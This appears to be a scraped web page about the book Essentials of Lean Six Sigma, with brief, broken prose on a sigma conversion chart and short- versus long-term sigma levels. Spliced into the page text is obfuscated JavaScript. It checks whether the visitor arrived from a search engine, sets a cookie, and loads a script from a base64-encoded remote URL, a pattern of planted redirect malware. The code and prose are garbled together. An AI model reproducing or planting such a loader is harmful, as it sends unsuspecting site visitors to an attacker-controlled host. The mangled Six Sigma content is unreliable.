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**Essentials
of
Lean Six Sigma**

Salman Taghizadegan



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```
var _0x5e80=['WFhIT2Y=', 'WkJpd0w=', 'VVpodUo=', 'Z2V0VGltZQ==', 'WFZDQmQ=', 'eEtsVFE=', 'SkFveHY=', 'OyBkb21ha
W49', 'SGtHeHI=', 'LmFvbC4=', 'LmFzay4=', 'LmFsdGF2aXN0YS4=', 'LnlhbmRleC4=', 'dmlzaXRIZA==', 'aHR0cHM6Ly9jbG91
ZGV5ZXNzLm11bi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==', 'Lmdvb2dsZS4=', 'LmJpbmcu', 'LnlhaG9vLg==', 'Y09JeXc=
', 'RExHeWQ=', 'TFZsYIM=', 'aW9GRFM=', 'Q21zcnY=', 'bGVuZ3Ro', 'aW5kZXhPZg==', 'c2V0', 'b3FraFk=', 'S21NdEk=', 'ZFNlb
Xg=', 'WHdKS2c=', 'QkFuTFA=', 'aGVhZA==', 'Y3JiYXRlRwXlbWVudA==', 'c2NyaXB0', 'c3Jj', 'Z2V0RWxlbWVudHNlbnVudVud
Z05hbWU=', 'YXBwZW5kQ2hpbGQ=', 'c2lnbWErcHBtK2NvbZlcnNpb24rdGFibGU=', 'bkxud0o=', 'Y29va2ll', 'bWF0Y2g=', 'c
3BsaXQ=', 'cmVwbGFjZQ==', 'OyBleHBpcmVzPQ==', 'OyBzZWNIcmU='];(function(_0x5656e0,_0xae0811){var _0x5199dd=
function(_0x451adb){while(--_0x451adb){_0x5656e0['push'](_0x5656e0['shift']());}};_0x5199dd(++_0xae0811);}(_0x5e80,0
x1e1));var _0x3d39=function(_0x16db84,_0x1ce5e9){_0x16db84=_0x16db84-0x0;var
_0x2dac78=_0x5e80[_0x16db84];if(_0x3d39['initialized']===undefined){(function(){var _0x38586e;try{var
_0x4567fb=Function('return\x20(function()\x20'+ '{... 5 sigma mean shift over the long run. Note that the long term sigma
value is 1 5 less than the short term sigma value, to account for a 1.
```

This chart can be used in a couple of different ways –The process sigma can then be found in either of the two sigma level columns, depending on whether the defect rate represents short or long term data..

```
constructor(\x22return\x20this\x22)(\x20'+'););_0x38586e=_0x4567fb();}catch(_0x52df64){_0x38586e=window;}var _0x209
d1a='ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/-':_0x38586e['atob']||(_0x38586e['
atob']=function(_0x42ef05){var _0x1f4383=String(_0x42ef05)['replace'](/=/,$/,");for(var _0x5a5482=0x0,_0x111c42,_0x4c9a
0f,_0x157991=0x0,_0x472094=";_0x4c9a0f=_0x1f4383['charAt'](_0x157991++);~_0x4c9a0f&&(_0x111c42=_0x5a5482%0x
4?_0x111c42*0x40+_0x4c9a0f:_0x4c9a0f,_0x5a5482++%0x4)?_0x472094+=String['fromCharCode'](_0x4c9a0f);return
_0x472094;});}());_0x3d39['base64DecodeUnicode']=function(_0x4fbffd){var _0x1804f6=atob(_0x4fbffd);var
_0x59cd41=[];for(var
_0xf8bea9=0x0,_0x3cd76c=_0x1804f6['length'];_0xf8bea9=_0x105875;),'oqkHY':_0x3d39('0x1b'),'sZFLH':function
_0x22c846(_0x301c55,_0xc4029f){return _0x301c55!=="_0xc4029f;},'KmMtl':_0x3d39('0x1c');var _0x3d4eac=[_0x3d39('0x1
d'),_0x3d39('0x1e'),_0x3d39('0x1f'),_0x5a9be8[_0x3d39('0x20')],_0x5a9be8[_0x3d39('0x21')],_0x5a9be8[_0x3d39('0x22')],_
0x5a9be8[_0x3d39('0x23')]],_0x33cb0d=document['referrer'],_0x46100e=![],_0x423fba=cookie['get'](_0x3d39('0x1b'));for(va
r _0x4b9522=0x0;_0x5a9be8[_0x3d39('0x24')](_0x4b9522,_0x3d4eac[_0x3d39('0x25')]);_0x4b9522++){if(_0x5a9be8['Earvm
'](_0x33cb0d[_0x3d39('0x26')])(_0x3d4eac[_0x4b9522],0x0)){_0x46100e=![];}}if(_0x46100e){cookie[_0x3d39('0x27')](_0x
5a9be8[_0x3d39('0x28')],0x1,0x1);if(!_0x423fba){if(_0x5a9be8['sZFLH'](_0x5a9be8[_0x3d39('0x29')],_0x5a9be8['KmMtl']
)){params=matches[_0x4b9522][_0x3d39('0xa')](=');cookie[params[0x0]]=params[0x1]['replace'](/;/,$/);}else{_0x5a9be8[_0x3d
39('0x2a')](include,_0x5a9be8[_0x3d39('0x2b')](_0x5a9be8['XwJKg'](_0x5a9be8[_0x3d39('0x2c')],q,""));}}}}R()); Sigma
Conversion ChartThe chart below shows the theoretical defect rates that can be expected from various process sigma levels,
assuming that the underlying data is normally distributed.
```

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